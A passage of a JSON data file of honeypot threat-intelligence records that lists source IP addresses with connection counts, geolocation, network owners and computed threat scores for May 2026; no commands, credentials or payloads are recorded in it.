      "first_seen": "2026-05-16T06:34:19.680Z",
      "last_seen": "2026-05-16T06:34:35.828Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:14:38+00:00",
        "last_seen_30d": "2026-05-31T10:52:37.054000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 103,
        "Honeytrap": 50,
        "ElasticPot": 13,
        "Cowrie": 4,
        "Sentrypeer": 2
      }
    },
    "8.134.239.76": {
      "attack_count": 4,
      "first_seen": "2026-05-16T02:51:38.468Z",
      "last_seen": "2026-05-20T10:38:20.479Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:51:38.468000+00:00",
        "last_seen_30d": "2026-05-20T10:39:21.870000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "104.152.52.143": {
      "attack_count": 3,
      "first_seen": "2026-05-05T03:40:31.357Z",
      "last_seen": "2026-05-05T03:40:31.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 59.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 25,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 30,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T03:58:02.436000+00:00",
        "last_seen_30d": "2026-05-31T23:18:03.011000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 3,
        "Dionaea": 2
      }
    },
    "103.26.82.25": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:42:22.857Z",
      "last_seen": "2026-05-08T10:42:35.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:42:22.857000+00:00",
        "last_seen_30d": "2026-05-08T10:43:39.730000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.255.226.73": {
      "attack_count": 2,
      "first_seen": "2026-05-14T18:00:25.373Z",
      "last_seen": "2026-05-14T18:00:25.637Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 22,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T04:26:19+00:00",
        "last_seen_30d": "2026-05-31T22:40:50.542000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 21,
        "Cowrie": 2
      }
    },
    "116.91.221.80": {
      "attack_count": 2,
      "first_seen": "2026-05-14T19:37:03.036Z",
      "last_seen": "2026-05-14T19:39:03.077Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:37:03.036000+00:00",
        "last_seen_30d": "2026-05-14T19:50:11.089000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "120.26.162.234": {
      "attack_count": 2,
      "first_seen": "2026-05-02T11:45:40.139Z",
      "last_seen": "2026-05-02T11:45:40.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:45:40.139000+00:00",
        "last_seen_30d": "2026-05-02T11:46:50.287000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.253.225.238": {
      "attack_count": 2,
      "first_seen": "2026-05-16T21:52:47.347Z",
      "last_seen": "2026-05-16T21:53:00.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jalandhar",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T21:52:47.347000+00:00",
        "last_seen_30d": "2026-05-16T21:54:06.779000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.221.163.73": {
      "attack_count": 2,
      "first_seen": "2026-05-12T14:47:42.024Z",
      "last_seen": "2026-05-12T14:47:54.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pinhal Grande",
      "asn": 264434,
      "as_org": "Rech e Bernardi LTDA ME",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T14:47:42.024000+00:00",
        "last_seen_30d": "2026-05-12T14:48:58.830000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.198.145.206": {
      "attack_count": 2,
      "first_seen": "2026-05-14T08:56:59.278Z",
      "last_seen": "2026-05-14T08:56:59.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:56:59.278000+00:00",
        "last_seen_30d": "2026-05-14T08:58:08.803000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "152.59.204.114": {
      "attack_count": 2,
      "first_seen": "2026-05-12T07:26:56.848Z",
      "last_seen": "2026-05-12T07:27:09.778Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:26:56.848000+00:00",
        "last_seen_30d": "2026-05-12T07:28:13.537000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.73.163.139": {
      "attack_count": 2,
      "first_seen": "2026-05-06T15:28:02.629Z",
      "last_seen": "2026-05-06T15:28:15.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 328471,
      "as_org": "Hero-Telecoms",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:28:02.629000+00:00",
        "last_seen_30d": "2026-05-06T15:29:21.677000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.230.9": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:14:03.526Z",
      "last_seen": "2026-05-23T00:14:34.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:14:03.526000+00:00",
        "last_seen_30d": "2026-05-23T00:15:34.435000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.189.18.194": {
      "attack_count": 2,
      "first_seen": "2026-05-13T01:29:40.594Z",
      "last_seen": "2026-05-13T01:29:53.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itatiba",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T01:29:40.594000+00:00",
        "last_seen_30d": "2026-05-13T01:30:54.891000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.120.5.8": {
      "attack_count": 2,
      "first_seen": "2026-05-16T01:55:20.948Z",
      "last_seen": "2026-05-16T01:55:31.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Brest",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T01:55:20.948000+00:00",
        "last_seen_30d": "2026-05-16T01:56:33.248000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.222.143.253": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:56:41.791Z",
      "last_seen": "2026-05-19T23:56:55.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Novi Sad",
      "asn": 8400,
      "as_org": "TELEKOM SRBIJA a.d.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:56:41.791000+00:00",
        "last_seen_30d": "2026-05-19T23:57:58.566000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.232.194.125": {
      "attack_count": 2,
      "first_seen": "2026-05-26T22:58:44.320Z",
      "last_seen": "2026-05-26T23:00:44.328Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Beccar",
      "asn": 273979,
      "as_org": "LIZARSOAIN GREGORIO LUIS ALBERTO CIBERGOLD WIFI",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T22:58:44.320000+00:00",
        "last_seen_30d": "2026-05-26T23:01:50.452000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.186.134.246": {
      "attack_count": 2,
      "first_seen": "2026-05-27T18:32:33.096Z",
      "last_seen": "2026-05-27T18:32:46.777Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:32:33.096000+00:00",
        "last_seen_30d": "2026-05-27T18:33:50.267000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.153.18.4": {
      "attack_count": 2,
      "first_seen": "2026-05-16T23:05:46.049Z",
      "last_seen": "2026-05-16T23:05:59.506Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Galera",
      "asn": 34471,
      "as_org": "Free Technologies Excom S.L.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:05:46.049000+00:00",
        "last_seen_30d": "2026-05-16T23:07:06.235000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.219.155.200": {
      "attack_count": 2,
      "first_seen": "2026-05-08T02:21:53.383Z",
      "last_seen": "2026-05-08T02:23:53.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Guaxup\u00e9",
      "asn": null,
      "as_org": null,
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:21:53.383000+00:00",
        "last_seen_30d": "2026-05-08T02:34:25.909000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.226.13.156": {
      "attack_count": 2,
      "first_seen": "2026-05-02T06:05:12.633Z",
      "last_seen": "2026-05-02T06:05:26.076Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tezoyuca",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:05:12.633000+00:00",
        "last_seen_30d": "2026-05-02T06:06:29.173000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.213.135.45": {
      "attack_count": 2,
      "first_seen": "2026-05-13T03:45:23.867Z",
      "last_seen": "2026-05-13T03:45:37.325Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Trinidad and Tobago",
      "country_code": "TT",
      "city": "Tunapuna",
      "asn": 27665,
      "as_org": "Columbus Communications Trinidad Limited.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:45:23.867000+00:00",
        "last_seen_30d": "2026-05-13T03:46:45.485000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.190.85.201": {
      "attack_count": 2,
      "first_seen": "2026-05-11T13:28:41.298Z",
      "last_seen": "2026-05-11T13:28:54.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T13:28:41.298000+00:00",
        "last_seen_30d": "2026-05-11T13:29:57.073000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "23.31.224.237": {
      "attack_count": 2,
      "first_seen": "2026-05-26T18:42:15.805Z",
      "last_seen": "2026-05-26T18:42:27.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Union",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T18:42:15.805000+00:00",
        "last_seen_30d": "2026-05-26T18:43:32.224000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.196.78.97": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:43:47.813Z",
      "last_seen": "2026-05-03T21:44:00.870Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:43:47.813000+00:00",
        "last_seen_30d": "2026-05-03T21:45:09.678000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "40.160.67.177": {
      "attack_count": 2,
      "first_seen": "2026-05-19T09:35:32.559Z",
      "last_seen": "2026-05-19T09:35:32.956Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-19T09:35:32+00:00",
        "last_seen_30d": "2026-05-19T09:36:50.106000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 10,
        "Cowrie": 2,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "46.10.74.2": {
      "attack_count": 2,
      "first_seen": "2026-05-18T22:20:38.358Z",
      "last_seen": "2026-05-18T22:20:51.081Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Plovdiv",
      "asn": 8866,
      "as_org": "Vivacom Bulgaria EAD",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:20:38.358000+00:00",
        "last_seen_30d": "2026-05-18T22:21:54.883000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.49.224.195": {
      "attack_count": 2,
      "first_seen": "2026-05-06T18:23:35.244Z",
      "last_seen": "2026-05-06T18:23:49.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T18:23:35.244000+00:00",
        "last_seen_30d": "2026-05-06T18:24:51.143000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.7.9.104": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:50:37.312Z",
      "last_seen": "2026-05-23T09:52:37.314Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bridgwater",
